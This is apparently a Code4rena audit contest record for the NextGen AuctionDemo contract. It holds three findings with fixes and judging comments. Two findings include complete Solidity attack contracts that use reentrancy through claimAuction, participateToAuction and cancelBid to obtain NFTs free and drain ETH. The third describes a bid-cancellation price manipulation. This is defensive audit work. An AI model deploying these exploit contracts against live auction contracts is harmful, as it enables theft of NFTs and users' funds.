Platform: Code4rena
Start Date: 30/10/2023
Pot Size: $49,250 USDC
Total HM: 14
Participants: 243
Period: 14 days
Judge: 0xsomeone
Id: 302
League: ETH
Rank: 234/243
Findings: 1
Award: $0.00
🌟 Selected for report: 0
🚀 Solo Findings: 0
🌟 Selected for report: smiling_heretic
Also found by: 00decree, 00xSEV, 0x180db, 0x3b, 0x656c68616a, 0xAadi, 0xAleko, 0xAsen, 0xDetermination, 0xJuda, 0xMAKEOUTHILL, 0xMango, 0xMosh, 0xSwahili, 0x_6a70, 0xarno, 0xgrbr, 0xpiken, 0xsagetony, 3th, 8olidity, ABA, AerialRaider, Al-Qa-qa, Arabadzhiev, AvantGard, CaeraDenoir, ChrisTina, DanielArmstrong, DarkTower, DeFiHackLabs, Deft_TT, Delvir0, Draiakoo, Eigenvectors, Fulum, Greed, HChang26, Haipls, Hama, Inference, Jiamin, JohnnyTime, Jorgect, Juntao, Kaysoft, Kose, Kow, Krace, MaNcHaSsS, Madalad, MrPotatoMagic, Neon2835, NoamYakov, Norah, Oxsadeeq, PENGUN, REKCAH, Ruhum, Shubham, Silvermist, Soul22, SovaSlava, SpicyMeatball, Talfao, TermoHash, The_Kakers, Toshii, TuringConsulting, Udsen, VAD37, Vagner, Zac, Zach_166, ZdravkoHr, _eperezok, ak1, aldarion, alexfilippov314, alexxander, amaechieth, aslanbek, ast3ros, audityourcontracts, ayden, bdmcbri, bird-flu, blutorque, bronze_pickaxe, btk, c0pp3rscr3w3r, c3phas, cartlex_, cccz, ciphermarco, circlelooper, crunch, cryptothemex, cu5t0mpeo, darksnow, degensec, dethera, devival, dimulski, droptpackets, epistkr, evmboi32, fibonacci, gumgumzum, immeas, innertia, inzinko, jasonxiale, joesan, ke1caM, kimchi, lanrebayode77, lsaudit, mahyar, max10afternoon, merlin, mrudenko, nuthan2x, oakcobalt, openwide, orion, phoenixV110, pontifex, r0ck3tz, rotcivegaf, rvierdiiev, seeques, shenwilly, sl1, slvDev, t0x1c, tallo, tnquanghuy0512, tpiliposian, trachev, twcctop, vangrim, volodya, xAriextz, xeros, xuwinnie, y4y, yobiz, zhaojie
0 USDC - $0.00
https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/AuctionDemo.sol#L58 https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/AuctionDemo.sol#L105 https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/AuctionDemo.sol#L125 https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/AuctionDemo.sol#L135
H/Critical, since attackers can get any auctioned NFTs for free.
(Note: You can find the referenced pics here: https://drive.google.com/file/d/1bVlZa1ESLD1OUe2Yxw3tboanjXzY0oCU/view?usp=sharing)
A) The AuctionDemo contract checks in function claimAuction
require(block.timestamp >= minter.getAuctionEndTime(_tokenid) && auctionClaim[_tokenid] == false && minter.getAuctionStatus(_tokenid) == true);
B) in function cancelBid and cancelAllBids, and
require(block.timestamp <= minter.getAuctionEndTime(_tokenid), "Auction ended");
C) in the function participateToAuction:
require(msg.value > returnHighestBid(_tokenid) && block.timestamp <= minter.getAuctionEndTime(_tokenid) && minter.getAuctionStatus(_tokenid) == true);
Each of the three checks, A, B, and C, includes the boundary. Therefore, when "timestamp == minter.getAuctionEndTime”, all these functions are callable.
The attacker is using an “attacker contract” to submit the bids.
Seee pic #1.
Attacker calls the “attacker contract” to set the tokenId of the “highest bid”.
Attacker calls “claimAuction”. Claim auction does the following steps: a) Calling the attacker contract when refunding the “old bid”. The attacker contract does a reentrancy to “participateToAuction” to set a “new highest bid”. Please also see the pictures for explanation.
See pic #2, 3, and 4.
b) Transferring the NFT to the bidder of the “highest bid”, since the variables “highestBid” and “highestBidder” have been determined before the loop began. Please also note that the length of auctionInfoData is assessed on each iteration, which means that the loop will also be extended to accommodate the "new highest bid."
See pic #5
c) Calling the attacker contract when refunding the “new highest bid”, which has been added by the reentrancy attack. The attacker's contract executes a reentrancy attack on the "cancelBid" function to cancel the winning bid, which is the "highest bid."
See pic #6.
Impact for attack scenario: The attacker not only acquires the auctioned NFT but also receives the refund for all of their submitted bids.
Please note that validators are the most suitable entities for carrying out such an attack, as they possess the capability to influence the block's timestamp to a certain extent. See for additional information: https://neptunemutual.com/blog/understanding-block-timestamp-manipulation/
// SPDX-License-Identifier: MIT pragma solidity ^0.8.19; import "./AuctionDemo.sol"; contract Attack { /* Attack scenario: the user obtains the NFT and all his bids are refunded Steps: 1. Set the auction and token ID params using setParams 2. submit two bids, one low one (called A), then one winning one later on (called B). Save the index of the winning one (B) using setIndex When timestamp hits minter.getAuctionEndTime 3. call attack, setting the value necessary to outbid your winning bid (B) 4. claimAuction will refund your low bid (A), causing receive() to execute 5. this is the first re-entrancy, which is used to set the new highest bid (C) 6. claimAuction reaches the winning bid (B), transferring the NFT to the user 7. claimAuction reaches the new highest bid (C), refunding the user of this bid 8. the refund triggers execution of receive() once again, causing the else-if branch to execute. This is used to get the winning bid (B) refunded The user has been refunded of all bids (A, B, C) and has obtained the NFT TLDR: setParams;submitBid;submitBid;setIndex;attack->receive->participateToAuction->receive->cancelBid; */ auctionDemo auction; uint256 tokenId; uint256 new_highest_bid; //value used to outbid the winning bid and start the second reentrancy uint256 winning_bid_index; //index of the winning bid uint reentrance = 1; //variable used to distinguish between the first, second and third refund received from the auction function setParams(auctionDemo auc, uint256 tok) external { //sets the auction and the tokenId to be attacked auction = auc; tokenId = tok; } function setIndex(uint256 index) external { //necessary to track this because later on this is used to cancel the winning bid winning_bid_index = index; } receive() external payable { if(reentrance == 1){ //first time re-entering, when the old bid is refunded reentrance++; auction.participateToAuction{value: new_highest_bid}(tokenId); } else if(reentrance == 2) { //second time, when the new_highest_bid is refunded reentrance++; auction.cancelBid(tokenId, winning_bid_index); } //the contract will re-enter a third time, when refunding the now-canceled winning bid. Nothing to do in this case } function submitBid(uint256 bid) external payable{ auction.participateToAuction{value: bid}(tokenId); } function attack(uint256 necessary_bid) external { new_highest_bid = necessary_bid; auction.claimAuction(tokenId); } }
None.
Establish the boundary in a manner that ensures the boundary for the "claimAuction" function does not intersect with the boundaries of the "participateToAuction," "cancelBid," and "cancelAllBids" functions.
For an added layer of protection (“in-depth”), we strongly recommend implementing reentrancy safeguards.
Other
#0 - c4-pre-sort
2023-11-14T14:27:05Z
141345 marked the issue as duplicate of #289
#1 - c4-pre-sort
2023-11-14T23:32:20Z
141345 marked the issue as duplicate of #962
#2 - c4-judge
2023-12-04T21:40:38Z
alex-ppg marked the issue as duplicate of #1323
#3 - c4-judge
2023-12-08T18:13:51Z
alex-ppg marked the issue as partial-50
🌟 Selected for report: smiling_heretic
Also found by: 00decree, 00xSEV, 0x180db, 0x3b, 0x656c68616a, 0xAadi, 0xAleko, 0xAsen, 0xDetermination, 0xJuda, 0xMAKEOUTHILL, 0xMango, 0xMosh, 0xSwahili, 0x_6a70, 0xarno, 0xgrbr, 0xpiken, 0xsagetony, 3th, 8olidity, ABA, AerialRaider, Al-Qa-qa, Arabadzhiev, AvantGard, CaeraDenoir, ChrisTina, DanielArmstrong, DarkTower, DeFiHackLabs, Deft_TT, Delvir0, Draiakoo, Eigenvectors, Fulum, Greed, HChang26, Haipls, Hama, Inference, Jiamin, JohnnyTime, Jorgect, Juntao, Kaysoft, Kose, Kow, Krace, MaNcHaSsS, Madalad, MrPotatoMagic, Neon2835, NoamYakov, Norah, Oxsadeeq, PENGUN, REKCAH, Ruhum, Shubham, Silvermist, Soul22, SovaSlava, SpicyMeatball, Talfao, TermoHash, The_Kakers, Toshii, TuringConsulting, Udsen, VAD37, Vagner, Zac, Zach_166, ZdravkoHr, _eperezok, ak1, aldarion, alexfilippov314, alexxander, amaechieth, aslanbek, ast3ros, audityourcontracts, ayden, bdmcbri, bird-flu, blutorque, bronze_pickaxe, btk, c0pp3rscr3w3r, c3phas, cartlex_, cccz, ciphermarco, circlelooper, crunch, cryptothemex, cu5t0mpeo, darksnow, degensec, dethera, devival, dimulski, droptpackets, epistkr, evmboi32, fibonacci, gumgumzum, immeas, innertia, inzinko, jasonxiale, joesan, ke1caM, kimchi, lanrebayode77, lsaudit, mahyar, max10afternoon, merlin, mrudenko, nuthan2x, oakcobalt, openwide, orion, phoenixV110, pontifex, r0ck3tz, rotcivegaf, rvierdiiev, seeques, shenwilly, sl1, slvDev, t0x1c, tallo, tnquanghuy0512, tpiliposian, trachev, twcctop, vangrim, volodya, xAriextz, xeros, xuwinnie, y4y, yobiz, zhaojie
0 USDC - $0.00
https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/AuctionDemo.sol#L104
H/Critical, since attackers can drain the entire ETH from the contract
The function claimAuction does not update the status of the bids when bids have been refunded.
(Note: Inserted the text as "code", since this preserves the indents).
1) The attacker is using an “attacker contract” to submit the bids. When the auction finishes the attacker has at least two bids including the highest bid. Attacker calls “claimAuction”. Claim auction does: a) Call the attacker contract when refunding the old bid. Attacker contract does a reentrancy to the AuctionDemo by adding a new highest bid. b) Transfers the NFT to the previous highest bidder (previous one, not the one created during the reentrancy, since variable highestBid and highestBidder have been determined before the loop. Please also note that the length of auctionInfoData is evaluated every time. Thus, the newest highest bid will be included in the loop as last). c) Call the attacker contract when refunding the highest bid, which has been added by the reentrancy attack. This time the attacker contract does 1) transfers the received NFT back to the AuctionDemo contract 2) a reentrancy to the AuctionDemo to cancel the highest bid added in the reentrancy above in step a). This is necessary otherwise the inner loop will have a different highest bidder than the outer loop. 3) a reentrancy to the AuctionDemo to do the same “claimAuction” again. Thus, “inner” claimAuction will run: a) Call the attacker contract when refunding the old bid. Attacker contract does nothing. b) Transfers NFT
Impact for attack scenario: The attacker gets the auctioned NFT, but is also able to drain the contract’s ETH balance. Note, in the scenario outlined above the old bid gets refunded twice.
// SPDX-License-Identifier: MIT pragma solidity ^0.8.19; import "./AuctionDemo.sol"; import "./IERC721.sol"; contract Attack { /* Attack scenario: the user obtains the NFT and all his bids are refunded. The first bid is also refunded multiple times, effectively draining the contract Steps: 1. Set the auction and token ID params using setParams 2. submit two bids, one low one (called A), then one winning one later on (called B). Save the index of the winning one (B) using setIndex When timestamp hits minter.getAuctionEndTime 3. call attack, setting the value necessary to outbid your winning bid (B) 4. claimAuction will refund your low bid (A), causing receive() to execute 5. this is the first re-entrancy, which is used to set the new highest bid (C) 6. claimAuction reaches the winning bid (B), transferring the NFT to the user 7. claimAuction reaches the new highest bid (C), refunding the user of this bid 8. the refund triggers the second execution of receive(). The attacker contract returns the NFT to the auction (grants relevant permission first), then cancels the new highest bid (C), and finally it calls claimAuction again to have the old bid (A) refunded a second time, and receives the NFT because of bid B The user has been refunded of all bids (A, B, C) and has obtained the NFT. Additionally, bid A has been refunded twice, meaning the overall balance of the contract is less than before the attack. This means that repeating this attack with more re-entrancies can effectively drain the balance of the contract */ auctionDemo auction; uint256 tokenId; address gencore; uint256 new_highest_bid; //value used to outbid the winning bid and start the second reentrancy uint256 winning_bid_index; //index of the winning bid uint reentrance = 1; //variable used to distinguish between the first, second and successive refunds received from the auction function setParams(auctionDemo auc, uint256 tok, address gen) external { //sets the auction and the tokenId to be attacked auction = auc; tokenId = tok; gencore = gen; } function setIndex(uint256 index) external { //necessary to track this because later on this is used to cancel the winning bid winning_bid_index = index; } receive() external payable { if(reentrance == 1){ //first time re-entering, when the old bid is refunded reentrance++; auction.participateToAuction{value: new_highest_bid}(tokenId); } else if(reentrance == 2) { //second time, when the new_highest_bid is refunded reentrance++; //grant permission to transfer the NFT IERC721(gencore).safeTransferFrom(address(this), address(auction), tokenId); auction.cancelBid(tokenId, auction.returnHighestBid(tokenId)); auction.claimAuction(tokenId); } //the contract will re-enter a third and fourth time. Nothing to do in these cases. } function submitBid(uint256 bid) external payable { auction.participateToAuction{value: bid}(tokenId); } function attack(uint256 necessary_bid) external { new_highest_bid = necessary_bid; auction.claimAuction(tokenId); } }
None
As a general rule, avoid using loops over lists that could potentially be unbounded. Refer to the "Gas issues due to lots of bids" finding for further details.
However, if the solution necessitates implementing a loop over a list, which is at least bounded, we advise ensuring that the bid status is set to "false" once a refund has been issued.
For an added layer of protection (“in-depth”), we strongly recommend implementing reentrancy safeguards.
Other
#0 - c4-pre-sort
2023-11-15T08:09:35Z
141345 marked the issue as duplicate of #1172
#1 - c4-judge
2023-12-06T21:28:06Z
alex-ppg marked the issue as duplicate of #1323
#2 - c4-judge
2023-12-08T18:13:25Z
alex-ppg marked the issue as partial-50
🌟 Selected for report: smiling_heretic
Also found by: 00decree, 00xSEV, 0x180db, 0x3b, 0x656c68616a, 0xAadi, 0xAleko, 0xAsen, 0xDetermination, 0xJuda, 0xMAKEOUTHILL, 0xMango, 0xMosh, 0xSwahili, 0x_6a70, 0xarno, 0xgrbr, 0xpiken, 0xsagetony, 3th, 8olidity, ABA, AerialRaider, Al-Qa-qa, Arabadzhiev, AvantGard, CaeraDenoir, ChrisTina, DanielArmstrong, DarkTower, DeFiHackLabs, Deft_TT, Delvir0, Draiakoo, Eigenvectors, Fulum, Greed, HChang26, Haipls, Hama, Inference, Jiamin, JohnnyTime, Jorgect, Juntao, Kaysoft, Kose, Kow, Krace, MaNcHaSsS, Madalad, MrPotatoMagic, Neon2835, NoamYakov, Norah, Oxsadeeq, PENGUN, REKCAH, Ruhum, Shubham, Silvermist, Soul22, SovaSlava, SpicyMeatball, Talfao, TermoHash, The_Kakers, Toshii, TuringConsulting, Udsen, VAD37, Vagner, Zac, Zach_166, ZdravkoHr, _eperezok, ak1, aldarion, alexfilippov314, alexxander, amaechieth, aslanbek, ast3ros, audityourcontracts, ayden, bdmcbri, bird-flu, blutorque, bronze_pickaxe, btk, c0pp3rscr3w3r, c3phas, cartlex_, cccz, ciphermarco, circlelooper, crunch, cryptothemex, cu5t0mpeo, darksnow, degensec, dethera, devival, dimulski, droptpackets, epistkr, evmboi32, fibonacci, gumgumzum, immeas, innertia, inzinko, jasonxiale, joesan, ke1caM, kimchi, lanrebayode77, lsaudit, mahyar, max10afternoon, merlin, mrudenko, nuthan2x, oakcobalt, openwide, orion, phoenixV110, pontifex, r0ck3tz, rotcivegaf, rvierdiiev, seeques, shenwilly, sl1, slvDev, t0x1c, tallo, tnquanghuy0512, tpiliposian, trachev, twcctop, vangrim, volodya, xAriextz, xeros, xuwinnie, y4y, yobiz, zhaojie
0 USDC - $0.00
https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/AuctionDemo.sol#L124 https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/AuctionDemo.sol#L134
H, since attackers can obtain a NFT for a very low price.
The highest bid can be canceled by the bidder who placed it.
An attacker could initially bid on an item and then quickly submit a substantially higher bid. Consequently, the attacker would possess both the highest and second-highest bids. This situation may discourage other bidders from participating further, as they would be reluctant to surpass the highest bid.
Shortly before the auction concludes, the attacker cancels the highest bid, enabling them to pay only the price associated with the second-highest bid.
None.
Guarantee that the current highest bid cannot be canceled by the bidder, as it should represent a binding commitment by the bidder.
Other
#0 - c4-pre-sort
2023-11-15T08:09:12Z
141345 marked the issue as duplicate of #962
#1 - c4-judge
2023-12-02T15:12:44Z
alex-ppg marked the issue as not a duplicate
#2 - c4-judge
2023-12-02T15:15:50Z
alex-ppg marked the issue as duplicate of #1784
#3 - c4-judge
2023-12-07T11:50:14Z
alex-ppg marked the issue as duplicate of #1323
#4 - c4-judge
2023-12-08T17:23:33Z
alex-ppg marked the issue as partial-25
#5 - c4-judge
2023-12-08T17:28:00Z
alex-ppg marked the issue as satisfactory
#6 - c4-judge
2023-12-08T18:13:18Z
alex-ppg marked the issue as partial-25